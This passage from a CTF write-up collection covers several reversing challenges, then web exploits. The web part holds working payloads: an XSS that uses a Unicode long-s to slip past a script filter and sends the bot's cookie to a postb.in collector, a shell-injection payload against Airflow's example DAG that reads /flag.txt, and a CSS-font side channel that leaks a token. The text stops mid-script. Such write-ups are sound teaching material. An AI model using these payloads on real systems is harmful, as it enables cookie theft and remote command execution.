7. Re-encrypt the recovered candidate through the original library and verify it matches `attachments/flag.enc` exactly.

Recovered flag:

```
UNR{cu_m454l4r174-m1r3454_54-1_713_d3_1mp4r473454_f4abc8120c3d2a57}
```

Exact solver:

```python
#!/usr/bin/env python3
from __future__ import annotations

from pathlib import Path

from Crypto.Cipher import AES


ROOT = Path(__file__).resolve().parent
FLAG_ENC = ROOT / "attachments" / "flag.enc"

KEY_ASCII = b"021b49755fb4961a40f3a539ee80fa8f"
IV_ASCII = b"8cc46e76876a55c1"
TRAILER = b"67e672f4049b06ee"


def ror8(value: int, count: int) -> int:
    count &= 7
    return ((value >> count) | ((value << (8 - count)) & 0xFF)) & 0xFF


def affine_inv(data: bytes) -> bytes:
    return bytes((((byte - 0x53) & 0xFF) * 0x0D) & 0xFF for byte in data)


def lfsr_xor(data: bytes, seed: int) -> bytes:
    state = seed
    out = bytearray()
    for byte in data:
        bit = ((state >> 0) ^ (state >> 2) ^ (state >> 3) ^ (state >> 5)) & 1
        state = ((state >> 1) | (bit << 15)) & 0xFFFF
        out.append(byte ^ (state & 0xFF))
    return bytes(out)


def lfsr_inv(data: bytes) -> bytes:
    return lfsr_xor(data, 0xACE1)


def build_q_table(n: int = 8) -> bytes:
    table = bytearray(n * n)
    for row in range(n):
        for col in range(n):
            idx = row * n + col
            if col == row:
                table[idx] = 1
            elif col > row:
                table[idx] = 0
            else:
                base = (17 * col) + (31 * row)
                adjust = (base + 13) // 250
                table[idx] = (base - (250 * adjust) + 0x0E) & 0xFF
    return bytes(table)


Q_TABLE = build_q_table()


def q_inv(data: bytes) -> bytes:
    out = bytearray(data)
    if len(out) >= 64:
        for row in range(8):
            for col in range(row + 1, 8):
                i = row * 8 + col
                j = col * 8 + row
                out[i], out[j] = out[j], out[i]
    for start in range(0, len(out), 64):
        block = out[start : start + 64]
        for i in range(len(block)):
            block[i] ^= Q_TABLE[i]
        out[start : start + len(block)] = block
    return bytes(out)


def p_inv(data: bytes) -> bytes:
    length = len(data)
    src = bytearray(length)
    for i in range(length):
        target = (3 - i) % length
        value = data[target]
        rot = (i % 7) + 1
        value = ror8(value, rot)
        value ^= (9 * i + 0x42) & 0xFF
        src[i] = value
    return bytes(src)


def pre_affine_inv(data: bytes) -> bytes:
    out = bytearray(data)
    for i in range(len(out) - 1):
        out[i] = (out[i] - out[i + 1] - ((5 * i + 0x1F) & 0xFF)) & 0xFF
    for i in range(len(out) - 1, 0, -1):
        out[i] ^= ((3 * i) + out[i - 1]) & 0xFF
    return bytes(out)


def rotate_right(data: bytes, count: int) -> bytes:
    if not data:
        return data
    count %= len(data)
    if count == 0:
        return data
    return data[-count:] + data[:-count]


def stage6_inv(data: bytes) -> bytes:
    out = bytearray(data)
    seed = 0x5D
    for i, byte in enumerate(out):
        out[i] = (byte - (seed & 0xFF) - ((0x1D * i + 0x71) & 0xFF)) & 0xFF
        seed = byte ^ ((0x0D * i + 0xA7) & 0xFF)
    return bytes(out)


def stage5_inv(data: bytes) -> bytes:
    out = bytearray(data)
    for i in range(0, len(out) - 1, 2):
        t1 = out[i + 1]
        a = out[i] ^ ((0x11 * i + 0x23) & 0xFF) ^ (((t1 << 5) | (t1 >> 3)) & 0xFF)
        b = t1 ^ (((a << 3) | (a >> 5)) & 0xFF) ^ ((0x0B * i + 0x6D) & 0xFF)
        out[i] = a & 0xFF
        out[i + 1] = b & 0xFF
    return bytes(out)


def stage4_inv(data: bytes) -> bytes:
    if len(data) < 64:
        return data
    out = bytearray(data)
    mixed = out[:64]
    transposed = bytearray(64)
    for row in range(8):
        for col in range(8):
            idx = row * 8 + col
            src_col = (col + row) % 8
            transposed[row * 8 + src_col] = (mixed[idx] - idx) & 0xFF
    original = bytearray(64)
    for row in range(8):
        for col in range(8):
            original[col * 8 + row] = transposed[row * 8 + col]
    out[:64] = original
    return bytes(out)


def stage3_inv(data: bytes) -> bytes:
    return bytes((byte * 0xB9) & 0xFF for byte in data)


def stage1_inv(data: bytes) -> bytes:
    if not data:
        return data
    count = sum(data) % len(data)
    return rotate_right(data, count)


def stage0_inv(data: bytes) -> bytes:
    return bytes((((byte - 0x3C) & 0xFF) ^ 0xA5) & 0xFF for byte in data)


def unshuffle_inv(data: bytes) -> bytes:
    buf = bytearray(data)
    swaps: list[tuple[int, int]] = []
    seed = 0x1337
    for i in range(len(buf) - 1, 0, -1):
        seed = (seed * 0x19660D + 0x3C6EF35F) & 0xFFFFFFFF
        j = seed % (i + 1)
        swaps.append((i, j))
    for i, j in reversed(swaps):
        buf[i], buf[j] = buf[j], buf[i]
    for i in range(len(buf)):
        buf[i] = (buf[i] - i) & 0xFF
        buf[i] ^= 0xC0
    return bytes(buf)


def decrypt_body(ciphertext: bytes) -> bytes:
    cipher = AES.new(KEY_ASCII, AES.MODE_CBC, IV_ASCII)
    padded = cipher.decrypt(ciphertext)
    pad = padded[-1]
    if pad == 0 or pad > 16 or padded[-pad:] != bytes([pad]) * pad:
        raise ValueError("bad PKCS#7 padding")
    inner = padded[:-pad]
    if not inner.endswith(TRAILER):
        raise ValueError("missing trailer")
    return inner[: -len(TRAILER)]


def invert_transform(data: bytes) -> bytes:
    data = affine_inv(data)
    data = pre_affine_inv(data)
    data = lfsr_inv(data)
    data = q_inv(data)
    data = p_inv(data)
    data = unshuffle_inv(data)
    data = stage6_inv(data)
    data = stage5_inv(data)
    data = stage4_inv(data)
    data = stage3_inv(data)
    data = lfsr_xor(data, 0xBEEF)
    data = stage1_inv(data)
    data = stage0_inv(data)
    return data


def main() -> None:
    ciphertext = FLAG_ENC.read_bytes()
    transformed = decrypt_body(ciphertext)
    plain = invert_transform(transformed)
    print(plain.decode())


if __name__ == "__main__":
    main()
```

### substrate

#### Description

The userland binary `SubstrateUM.exe` talks to the driver `SubstrateKM.sys` with two IOCTLs. It reads `0x45` bytes from stdin, sends them one byte at a time with IOCTL `0x228124`, then sends IOCTL `0x228128` to ask the driver whether the whole input is correct.

Static reversing of the first IOCTL handler shows it is only a setter:

* input buffer is 2 bytes: `[index, value]`
* `value` is stored in a global 72-byte buffer at `buf[index]`
* the userland program only sends 69 bytes, so the last 3 bytes in the driver buffer stay `0`

The real work is in the second IOCTL. The code is flattened and annoying to single-step, so the clean path is:

1. Reverse the userland IOCTL usage.
2. Reverse the setter in the driver.
3. Recover the checker logic from the driver.
4. Solve the recovered equations modulo 256.

The checker operates on 8 chunks of 9 bytes. Each chunk is a 3x3 upper-triangular matrix built from a 9-byte entry block in the driver. The matching target bytes come from another 9-byte block in `.data`.

For one chunk with entry bytes `e[0..8]`, the matrix is:

```
M = [
  [e[0] | 1, e[1],     e[2]],
  [0,        e[4] | 1, e[5]],
  [0,        0,        e[8] | 1],
]
```

If a plaintext row is `[a, b, c]`, the checker compares:

```
[a, b, c] * M == [y0, y1, y2]   (mod 256)
```

Because `M` is upper-triangular and every diagonal byte is odd (`| 1`), each row can be solved directly with modular inverses in `Z/256Z`.

#### Solution

The following script extracts the two 72-byte tables from `SubstrateKM.sys`, reconstructs the matrices, solves every row, and prints the accepted flag.

```python
from pathlib import Path

MOD = 256
ENTRY_OFF = 0x8E60
CONST_OFF = 0xA800
N = 72


def inv_odd(x: int) -> int:
    # All diagonal entries are odd, so they are invertible mod 256.
    return pow(x, -1, MOD)


def solve_row(m00: int, m01: int, m02: int, m11: int, m12: int, m22: int, y0: int, y1: int, y2: int):
    a = (y0 * inv_odd(m00)) % MOD
    b = ((y1 - a * m01) * inv_odd(m11)) % MOD
    c = ((y2 - a * m02 - b * m12) * inv_odd(m22)) % MOD
    return bytes([a, b, c])


blob = Path("attachments/SubstrateKM.sys").read_bytes()
entry = blob[ENTRY_OFF:ENTRY_OFF + N]
target = blob[CONST_OFF:CONST_OFF + N]

flag = bytearray()

for chunk in range(8):
    e = entry[chunk * 9:(chunk + 1) * 9]
    t = target[chunk * 9:(chunk + 1) * 9]

    m00 = e[0] | 1
    m01 = e[1]
    m02 = e[2]
    m11 = e[4] | 1
    m12 = e[5]
    m22 = e[8] | 1

    for row in range(3):
        y0, y1, y2 = t[row * 3:(row + 1) * 3]
        flag += solve_row(m00, m01, m02, m11, m12, m22, y0, y1, y2)

# Only 69 bytes are sent from userland; the final 3 driver bytes remain zero.
flag = bytes(flag[:-3])
print(flag.decode())
```

Running it prints:

```
CTF{1c41e1d89f95c6c6b45f256f06e554f904257c884f683528302bacbde8b9484f}
```

### the flag is a lie

#### Description

The shipped game contains a fake visible flag and a hidden dev scene. The real signal is the bundled encrypted replay log `session-20260225-111621.unrl`.

`LogRecorder` in the hidden dev scene stores the AES key in serialized scene data, and the `.unrl` file is a stream of encrypted replay records. After decrypting and parsing the records, the useful view is not the late static grid; the solve comes from the early moving entities (`id <= 180`). In a rotated orthographic projection near the end of the replay, those entities form mirrored text. Flipping the image horizontally reads:

`CERTIFIED_CRATE_PUSHER`

So the flag is:

`UNR{CERTIFIED_CRATE_PUSHER}`

#### Solution

The important recovered AES key from the hidden dev scene is:

```
26 c1 c1 56 a2 2d 31 74 e5 eb f7 c1 c8 b9 4b 6e
```

The `.unrl` container is:

* magic `UNRL`
* version `2`
* encrypted-record flag byte
* then alternating length-prefixed blobs:
  * 16-byte IV
  * ciphertext blob

Each decrypted record is:

* `type` byte
* `entity id` int32
* `timestamp` double
* optional transform payload for 41-byte records:
  * `Vector3 position`
  * `Quaternion rotation`

I used the following script to decrypt and parse the bundled replay:

```python
#!/usr/bin/env python3
import struct
from pathlib import Path

import numpy as np
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad


KEY = bytes.fromhex("26 c1 c1 56 a2 2d 31 74 e5 eb f7 c1 c8 b9 4b 6e")


def read_blob(buf: bytes, off: int):
    n = struct.unpack_from("<I", buf, off)[0]
    off += 4
    blob = buf[off : off + n]
    off += n
    return blob, off


def main():
    path = Path("work/linux/TheFlagIsALie_Data/Logs/session-20260225-111621.unrl")
    if not path.exists():
        path = Path("work/linux/TheFlagIsALie_Data/Logs").glob("*.unrl").__next__()

    data = path.read_bytes()
    assert data[:4] == b"UNRL"
    version = struct.unpack_from("<I", data, 4)[0]
    encrypted = data[8]
    assert version == 2
    assert encrypted == 1

    off = 9
    rows = []
    while off < len(data):
        iv, off = read_blob(data, off)
        ct, off = read_blob(data, off)
        pt = unpad(AES.new(KEY, AES.MODE_CBC, iv).decrypt(ct), 16)

        ty = pt[0]
        eid = struct.unpack_from("<i", pt, 1)[0]
        ts = struct.unpack_from("<d", pt, 5)[0]

        row = {
            "typ": ty,
            "id": eid,
            "t": ts,
            "x": 0.0,
            "y": 0.0,
            "z": 0.0,
            "qx": 0.0,
            "qy": 0.0,
            "qz": 0.0,
            "qw": 0.0,
        }
        if len(pt) == 41:
            row["x"], row["y"], row["z"] = struct.unpack_from("<fff", pt, 13)
            row["qx"], row["qy"], row["qz"], row["qw"] = struct.unpack_from("<ffff", pt, 25)
        rows.append(row)

    arrs = {}
    for key in rows[0]:
        dt = np.uint8 if key == "typ" else np.int32 if key == "id" else np.float64 if key == "t" else np.float32
        arrs[key] = np.array([row[key] for row in rows], dtype=dt)
    np.savez("unrl_records_full.npz", **arrs)
    print("saved unrl_records_full.npz")


if __name__ == "__main__":
    main()
```

Then I used a small interactive viewer over the parsed replay. The key point is to look at only the early entities (`id <= 180`) and rotate the projection. Near the end of the replay, they collapse into a mirrored line of text.

```python
#!/usr/bin/env python3
from bisect import bisect_right

import matplotlib.pyplot as plt
import numpy as np
from matplotlib.animation import FuncAnimation
from matplotlib.widgets import Slider


CREATE = 1
DELETE = 2
UPDATE = 3


def load_tracks():
    arr = np.load("unrl_records_full.npz")
    typ = arr["typ"]
    ids = arr["id"]
    t = arr["t"]
    x = arr["x"]
    y = arr["y"]
    z = arr["z"]

    order = np.argsort(t, kind="mergesort")
    tracks = {}
    for i in order:
        eid = int(ids[i])
        if eid > 180 or typ[i] == DELETE:
            continue
        tracks.setdefault(eid, []).append((float(t[i]), float(x[i]), float(y[i]), float(z[i])))

    out = {}
    for eid, pts in tracks.items():
        out[eid] = np.array(pts, dtype=float)
    return out, float(t.max())


def interp(track: np.ndarray, target_t: float):
    ts = track[:, 0]
    j = bisect_right(ts, target_t) - 1
    if j < 0:
        return None
    if j + 1 < len(track):
        t0 = ts[j]
        t1 = ts[j + 1]
        if t1 > t0:
            a = (target_t - t0) / (t1 - t0)
            return track[j, 1:] * (1.0 - a) + track[j + 1, 1:] * a
    return track[j, 1:]


def project(points: np.ndarray, yaw_deg: float, pitch_deg: float, center: np.ndarray):
    if len(points) == 0:
        return np.empty((0, 2), dtype=float)
    pts = points - center[None, :]
    yaw = np.deg2rad(yaw_deg)
    pitch = np.deg2rad(pitch_deg)
    cy, sy = np.cos(yaw), np.sin(yaw)
    cp, sp = np.cos(pitch), np.sin(pitch)

    x1 = cy * pts[:, 0] + sy * pts[:, 2]
    z1 = -sy * pts[:, 0] + cy * pts[:, 2]
    y1 = pts[:, 1]
    y2 = cp * y1 - sp * z1
    return np.stack([x1, y2], axis=1)


def main():
    tracks, t_max = load_tracks()
    all_pts = np.concatenate([track[:, 1:] for track in tracks.values()], axis=0)
    center = all_pts.mean(axis=0)

    fig, ax = plt.subplots(figsize=(10, 8))
    plt.subplots_adjust(bottom=0.15)
    ax.set_aspect("equal", adjustable="box")
    sc = ax.scatter([], [], s=10, c="blue")

    slider_ax = fig.add_axes((0.12, 0.05, 0.76, 0.03))
    slider = Slider(slider_ax, "t", 0.0, t_max, valinit=t_max, valstep=0.01)

    state = {
        "t": t_max,
        "yaw": 0.0,
        "pitch": 0.0,
        "playing": False,
        "sync": False,
    }

    def redraw():
        pts = []
        for track in tracks.values():
            p = interp(track, state["t"])
            if p is not None:
                pts.append(p)
        pts = np.array(pts, dtype=float) if pts else np.empty((0, 3), dtype=float)
        uv = project(pts, state["yaw"], state["pitch"], center)
        sc.set_offsets(uv)
        if len(uv):
            xmin, ymin = uv.min(axis=0)
            xmax, ymax = uv.max(axis=0)
            padx = max(1.0, (xmax - xmin) * 0.06)
            pady = max(1.0, (ymax - ymin) * 0.06)
            ax.set_xlim(xmin - padx, xmax + padx)
            ax.set_ylim(ymin - pady, ymax + pady)
        ax.set_title(f"t={state['t']:.2f} yaw={state['yaw']:.0f} pitch={state['pitch']:.0f}")
        fig.canvas.draw_idle()

    def on_slider(val):
        if state["sync"]:
            return
        state["t"] = float(val)
        redraw()

    def sync_slider():
        state["sync"] = True
        slider.set_val(state["t"])
        state["sync"] = False

    def on_key(event):
        key = event.key
        if key == " ":
            state["playing"] = not state["playing"]
        elif key == "left":
            state["t"] = max(0.0, state["t"] - 0.1)
            sync_slider()
            redraw()
        elif key == "right":
            state["t"] = min(t_max, state["t"] + 0.1)
            sync_slider()
            redraw()
        elif key == "shift+left":
            state["t"] = max(0.0, state["t"] - 1.0)
            sync_slider()
            redraw()
        elif key == "shift+right":
            state["t"] = min(t_max, state["t"] + 1.0)
            sync_slider()
            redraw()
        elif key == "q":
            state["yaw"] -= 5.0
            redraw()
        elif key == "e":
            state["yaw"] += 5.0
            redraw()
        elif key == "a":
            state["pitch"] -= 5.0
            redraw()
        elif key == "d":
            state["pitch"] += 5.0
            redraw()
        elif key == "c":
            state["yaw"] = 0.0
            state["pitch"] = 0.0
            redraw()

    def tick(_frame):
        if not state["playing"]:
            return
        state["t"] += 0.05
        if state["t"] > t_max:
            state["t"] = 0.0
        sync_slider()
        redraw()

    slider.on_changed(on_slider)
    fig.canvas.mpl_connect("key_press_event", on_key)
    FuncAnimation(fig, tick, interval=30, cache_frame_data=False)
    redraw()
    plt.show()


if __name__ == "__main__":
    main()
```

At the end of playback, rotating the early-entity projection reveals mirrored text. Flip that image horizontally and it reads:

```
CERTIFIED_CRATE_PUSHER
```

Final flag:

```
UNR{CERTIFIED_CRATE_PUSHER}
```

### webd-art

#### Description

The challenge ships a browser app backed by a Dart-to-Wasm module. The visible UI only accepts a phrase and renders art on a canvas. The interesting logic lives inside `main.wasm`.

#### Solution

`main.mjs` is just the standard Dart wasm loader. The real work is in `main.wasm`.

Using `binaryen` to print the module to text showed:

* The app checks the input against `^CTF\\{[ -~]{8,80}\\}$`.
* On success it can draw:
  * `CERTIFICATE UNLOCKED`
  * a second string
  * `stamp: verified locally`
* That unlock path is gated by a `br_if` in function `$115`.

I patched a copy of the wasm to bypass that single branch so the hidden middle string would be rendered for any `CTF{...}` input. That confirmed the middle string is not a constant; it is generated from a 32-bit seed and then UTF-8 decoded.

The patch was:

```python
from pathlib import Path

b = bytearray(Path("handover/main.wasm").read_bytes())
assert b[37591] == 0x0D and b[37592] == 0x00  # br_if 0
b[37591] = 0x1A  # drop
b[37592] = 0x01  # nop
Path("patched_unlock.wasm").write_bytes(b)
```

The relevant part of the unlock path is:

1. Build a 32-bit seed from the input-dependent hash state.
2. Generate 40 bytes with an `xxhash32`-style avalanche.
3. XOR those bytes with a static 40-byte table embedded in the wasm.
4. Decode the result as UTF-8 and draw it on the canvas.

Because the final hidden string is itself a flag, its prefix is known: `CTF{`.

The avalanche step is a permutation on 32-bit values, so the first known output byte reduces the search from `2^32` seeds to `2^24` candidates. I inverted the avalanche, enumerated all candidates matching the first byte, and filtered them with the remaining known prefix/suffix plus printable-ASCII constraints. That yields a unique result.

Code used:

```c
#include <stdint.h>
#include <stdio.h>

static const uint8_t static_bytes[40] = {
    218, 78, 141, 70, 79, 33, 46, 234, 174, 75,
    4, 130, 143, 169, 189, 93, 127, 4, 198, 150,
    239, 47, 94, 136, 89, 231, 203, 209, 88, 150,
    122, 147, 60, 167, 251, 224, 198, 100, 50, 163
};

static inline uint32_t avalanche(uint32_t x) {
    x = (x ^ (x >> 16)) * 2246822507u;
    x = (x ^ (x >> 13)) * 3266489909u;
    x = x ^ (x >> 16);
    return x;
}

static inline uint32_t unxorshr16(uint32_t x) {
    return x ^ (x >> 16);
}

static inline uint32_t unxorshr13(uint32_t x) {
    x ^= x >> 13;
    x ^= x >> 26;
    return x;
}

static inline uint32_t inv_avalanche(uint32_t x) {
    x = unxorshr16(x);
    x *= 2127672349u;
    x = unxorshr13(x);
    x *= 2781581891u;
    x = unxorshr16(x);
    return x;
}

static inline uint8_t byte_for_seed(uint32_t seed, int idx) {
    uint32_t x = seed + 2654435769u * (uint32_t)(idx + 1);
    return (uint8_t)(avalanche(x) & 0xffu) ^ static_bytes[idx];
}

int main(void) {
    const char *prefix = "CTF{";
    uint32_t target0 = (uint32_t)(static_bytes[0] ^ (uint8_t)prefix[0]);

    for (uint32_t hi = 0; hi < (1u << 24); hi++) {
        uint32_t x0 = inv_avalanche((hi << 8) | target0);
        uint32_t seed = x0 - 2654435769u;

        if (byte_for_seed(seed, 1) != (uint8_t)prefix[1]) continue;
        if (byte_for_seed(seed, 2) != (uint8_t)prefix[2]) continue;
        if (byte_for_seed(seed, 3) != (uint8_t)prefix[3]) continue;
        if (byte_for_seed(seed, 39) != (uint8_t)'}') continue;

        char out[41];
        int ok = 1;
        for (int i = 0; i < 40; i++) {
            uint8_t b = byte_for_seed(seed, i);
            if (b < 0x20 || b > 0x7e) {
                ok = 0;
                break;
            }
            out[i] = (char)b;
        }
        out[40] = '\0';

        if (!ok) continue;
        printf("seed=0x%08x %u\n%s\n", seed, seed, out);
    }

    return 0;
}
```

Build and run:

```sh
gcc -O3 -std=c11 -o seed_search seed_search.c
./seed_search
```

Output:

```
seed=0x13564e1d 324423197
CTF{7h3_w3b_15_4_l13_rng_15_d373rm1n15m}
```

## web

### demolition

#### Description

Web challenge with a public app at `https://demolition.breakable.live/` and an admin bot at `https://demolition-bot.breakable.live/`.

The app auto-runs a render pipeline on page load using query parameters:

* `p`: profile blob
* `d`: draft HTML
* `tpl`: compose template

The bot sets a non-HttpOnly `FLAG` cookie for the challenge origin, then visits a submitted challenge URL.

#### Solution

The intended bug chain is:

1. The frontend lets `p=render.engine=go` switch `/api/render` from the Python escape path to the Go sanitizer path.
2. Flask blocks script tags with:

```python
SCRIPT_FENCE_RE = re.compile(r"<\s*/?\s*script\b", re.IGNORECASE | re.ASCII)
```

This is ASCII-only.

3. The Go sanitizer canonicalizes allowed tags with Unicode-aware `strings.EqualFold`, so `<ſcript>` using `ſ` (U+017F, long s) is accepted as `script` and rewritten to a real `<script>` tag:

```go
func canonicalTag(name string, allow []string) string {
	for _, candidate := range allow {
		if strings.EqualFold(name, candidate) {
			return candidate
		}
	}
	return ""
}
```

4. The frontend inserts the returned HTML with `innerHTML`, then explicitly re-arms script tags:

```javascript
els.rendered.innerHTML = data.html || "";
armScripts(els.rendered);
```

So a payload in `d` becomes executable JavaScript in the bot’s browser.

5. Since the bot’s `FLAG` cookie is not `HttpOnly`, the XSS can read `document.cookie` and exfiltrate it.

I used `postb.in` as a temporary request collector.

First create a bin:

```bash
curl -sS -L -X POST https://postb.in/api/bin
```

It returned:

```json
{"binId":"1772789752662-2894196030683","now":1772789752662,"expires":1772791552662}
```

Then build the exploit URL:

```python
import urllib.parse

binid = "1772789752662-2894196030683"
payload = (
    "<ſcript>"
    f"location='https://www.postb.in/{binid}?c='+encodeURIComponent(document.cookie)"
    "</ſcript>"
)

params = {
    "p": "render.engine=go",
    "d": payload,
}

print("https://demolition.breakable.live/?" + urllib.parse.urlencode(params))
```

That produced:

```
https://demolition.breakable.live/?p=render.engine%3Dgo&d=%3C%C5%BFcript%3Elocation%3D%27https%3A%2F%2Fwww.postb.in%2F1772789752662-2894196030683%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%3C%2F%C5%BFcript%3E
```

Submit it to the bot:

```bash
curl -sS -X POST https://demolition-bot.breakable.live/api/submit \
  -H 'Content-Type: application/json' \
  --data '{"url":"https://demolition.breakable.live/?p=render.engine%3Dgo&d=%3C%C5%BFcript%3Elocation%3D%27https%3A%2F%2Fwww.postb.in%2F1772789752662-2894196030683%3Fc%3D%27%2BencodeURIComponent%28document.cookie%29%3C%2F%C5%BFcript%3E"}'
```

After the bot visited the page, read the captured request:

```bash
curl -sS https://www.postb.in/api/bin/1772789752662-2894196030683/req/shift
```

Relevant part of the response:

```json
{
  "query": {
    "c": "FLAG=CTF{7b5d3e42e57dab38821b5215138825098cbe965c67c131b6c64be1805626481d}"
  }
}
```

Flag:

```
CTF{7b5d3e42e57dab38821b5215138825098cbe965c67c131b6c64be1805626481d}
```

### nday-1

#### Description

The challenge deploys Apache Airflow and gives default credentials `admin/admin`.

The instance was running Airflow `3.0.4` and exposed the bundled example DAGs. One of them, `example_dag_decorator`, is vulnerable because it accepts a trigger-time `url`, fetches JSON from that URL, copies `raw_json["origin"]` into a shell command, and passes it directly to `BashOperator`.

#### Solution

Login with `admin/admin`, then abuse `example_dag_decorator`.

Relevant DAG source:

```python
class GetRequestOperator(BaseOperator):
    template_fields = ("url",)

    def __init__(self, *, url: str, **kwargs):
        super().__init__(**kwargs)
        self.url = url

    def execute(self, context: Context):
        return httpx.get(self.url).json()

@dag(schedule=None, start_date=pendulum.datetime(2021, 1, 1, tz="UTC"), catchup=False)
def example_dag_decorator(url: str = "http://httpbin.org/get"):
    get_ip = GetRequestOperator(task_id="get_ip", url=url)

    @task(multiple_outputs=True)
    def prepare_command(raw_json: dict[str, Any]) -> dict[str, str]:
        external_ip = raw_json["origin"]
        return {
            "command": f"echo 'Seems like today your server executing Airflow is connected from IP {external_ip}'",
        }

    command_info = prepare_command(get_ip.output)
    BashOperator(task_id="echo_ip_info", bash_command=command_info["command"])
```

`httpbin` has `/response-headers`, which returns arbitrary query parameters as JSON. So trigger the DAG with:

```
url = https://httpbin.org/response-headers?origin=X%27%3B%20cat%20/flag.txt%3B%20%23
```

That makes the final rendered command:

```bash
echo 'Seems like today your server executing Airflow is connected from IP X'; cat /flag.txt; #'
```

I used the API directly:

```bash
BASE='http://34.159.87.224:32295'

TOKEN=$(curl -sS -X POST "$BASE/auth/token" \
  -H 'Content-Type: application/json' \
  --data '{"username":"admin","password":"admin"}' | jq -r '.access_token')

RID="manual__decor_flag_$(date -u +%Y%m%dT%H%M%SZ)"
PAYLOAD="X'; cat /flag.txt; #"
ENC=$(printf '%s' "$PAYLOAD" | jq -sRr @uri)
URL="https://httpbin.org/response-headers?origin=$ENC"

curl -sS -X POST "$BASE/api/v2/dags/example_dag_decorator/dagRuns" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  --data "{\"dag_run_id\":\"$RID\",\"logical_date\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"conf\":{\"url\":\"$URL\"}}"

sleep 10

TRY=$(curl -sS "$BASE/api/v2/dags/example_dag_decorator/dagRuns/$RID/taskInstances/echo_ip_info" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.try_number')

curl -sS "$BASE/api/v2/dags/example_dag_decorator/dagRuns/$RID/taskInstances/echo_ip_info/logs/$TRY" \
  -H "Authorization: Bearer $TOKEN" | jq -r '.content[] | select(.event) | .event'
```

The task log printed:

```
CTF{2539590147b12b33dfd9d0bc65c86aec525af4d4dd9c997258d57b09c9adf16d}
```

### larpin

#### Description

Larp guru says: wake up in miami beach all I see is sand, take a look out my kitchen window all I see is land. Get larpin premium to larp harder.

#### Solution

The report bot renders reported profiles in HeadlessChrome 145 through a local wrapper origin. Reported profile content is sanitized with DOMPurify, but an SVG `<style>` survives and applies globally. The rendered profile page also contains an inline config script:

```js
window.__USER_CONFIG__ = {
  ...,
  isPremium: true/false,
  premiumToken: "...",
  profileViewed: "..."
}
```

The trick was to exfiltrate `premiumToken` from that inline script with CSS only.

1. Target the inline config script with:

```css
script:not([src]):has(+script[src*='purify'])
```

2. Force that script to render as text and give it an anchor.
3. Use a custom font where every glyph is zero-width except the single character that appears immediately after the known context `premiumToken: "<known_prefix>`.
4. Map candidate characters to different glyph widths.
5. Use an absolutely positioned probe with `width: anchor-size(--cfg inline)` and a container query to translate the resulting width into a webhook hit.
6. Repeat one character at a time until the terminating `"` is observed.

That recovered the premium token:

```
3cc9ae83308398ea3c34277f21a7c1e165efea1c79e45738df2efbcd3937ea18
```

Then I activated premium and opened `/premium`, which displayed the final flag directly:

```
CTF{9c74ad30966176e402b810109840f7ea62c2f34267ff5d4d1fc2bcaa8e7159b2}
```

Commands used:

```bash
python3 extract_premium_token.py --base-url http://34.179.219.124:32024 --known-prefix 3
curl -b live.cookie -c live.cookie \
  -d 'token=3cc9ae83308398ea3c34277f21a7c1e165efea1c79e45738df2efbcd3937ea18' \
  http://34.179.219.124:32024/premium/activate
curl -b live.cookie http://34.179.219.124:32024/premium
```

Helper font builder used during the solve:

```python
#!/usr/bin/env python3
import argparse
from copy import deepcopy
from pathlib import Path

from fontTools.feaLib.builder import addOpenTypeFeaturesFromString
from fontTools.ttLib import TTFont


def parse_args():
    p = argparse.ArgumentParser(
        description="Build a font that only renders one context-matched character with a width-encoded glyph."
    )
    p.add_argument("--base", default="widthctx.ttf", help="Base TTF to clone from")
    p.add_argument("--output", required=True, help="Output TTF path")
    p.add_argument(
        "--context",
        required=True,
        help="Exact preceding text that must appear before the target character",
    )
    p.add_argument(
        "--alphabet",
        required=True,
        help='Candidate characters to encode, e.g. abcdefghijklmnopqrstuvwxyz_"',
    )
    p.add_argument(
        "--width-step",
        type=int,
        default=256,
        help="Advance-width step in font units between encoded characters",
    )
    return p.parse_args()


def char_to_glyph(font, ch):
    cmap = font.getBestCmap()
    code = ord(ch)
    if code not in cmap:
        raise ValueError(f"Missing glyph for {ch!r} (U+{code:04X}) in base font")
    return cmap[code]


def fea_escape_glyph(glyph_name):
    return glyph_name


def build_feature(font, context, alphabet, vis_names):
    ctx_glyphs = [fea_escape_glyph(char_to_glyph(font, ch)) for ch in context]
    rules = ["languagesystem DFLT dflt;", "", "feature calt {"]
    ctx = " ".join(ctx_glyphs)
    for ch in alphabet:
        glyph = fea_escape_glyph(char_to_glyph(font, ch))
        vis = fea_escape_glyph(vis_names[ch])
        if ctx:
            rules.append(f"  sub {ctx} {glyph}' by {vis};")
        else:
            rules.append(f"  sub {glyph}' by {vis};")
    rules.append("} calt;")
    return "\n".join(rules)


def main():
    args = parse_args()
    font = TTFont(args.base)

    if "GSUB" in font:
        del font["GSUB"]

    glyph_order = list(font.getGlyphOrder())
    hmtx = font["hmtx"].metrics
    glyf = font["glyf"]

    for glyph_name in glyph_order:
        width, lsb = hmtx[glyph_name]
        hmtx[glyph_name] = (0, lsb)

    vis_names = {}
    for idx, ch in enumerate(args.alphabet):
        orig = char_to_glyph(font, ch)
        vis = f"{orig}.ctxvis{idx}"
        if vis in hmtx:
            raise ValueError(f"Duplicate generated glyph name {vis}")
        glyf[vis] = deepcopy(glyf[orig])
        width, lsb = font["hmtx"].metrics[orig]
        hmtx[vis] = ((idx + 1) * args.width_step, lsb)
        glyph_order.append(vis)
        vis_names[ch] = vis

    font.setGlyphOrder(glyph_order)
    font["maxp"].numGlyphs = len(glyph_order)

    feature_text = build_feature(font, args.context, args.alphabet, vis_names)
    addOpenTypeFeaturesFromString(font, feature_text)

    out = Path(args.output)
    font.save(out)
    print(out)


if __name__ == "__main__":
    main()
```

Extractor used during the solve:

```python
#!/usr/bin/env python3
import argparse
import base64
import json
import subprocess
import sys
import time
import urllib.parse
import urllib.request
from http.cookiejar import CookieJar
from pathlib import Path
from urllib.error import HTTPError

from fontTools.ttLib import TTFont


DEFAULT_ALPHABET = 'abcdefghijklmnopqrstuvwxyz0123456789_-"'
CONTEXT_PREFIX = 'premiumToken: "'
FONT_SUBSET_TEXT = "".join(chr(i) for i in range(32, 127))


class Session:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip("/")
        self.cj = CookieJar()
        self.opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.cj))

    def request(self, method: str, path: str, data=None, headers=None):
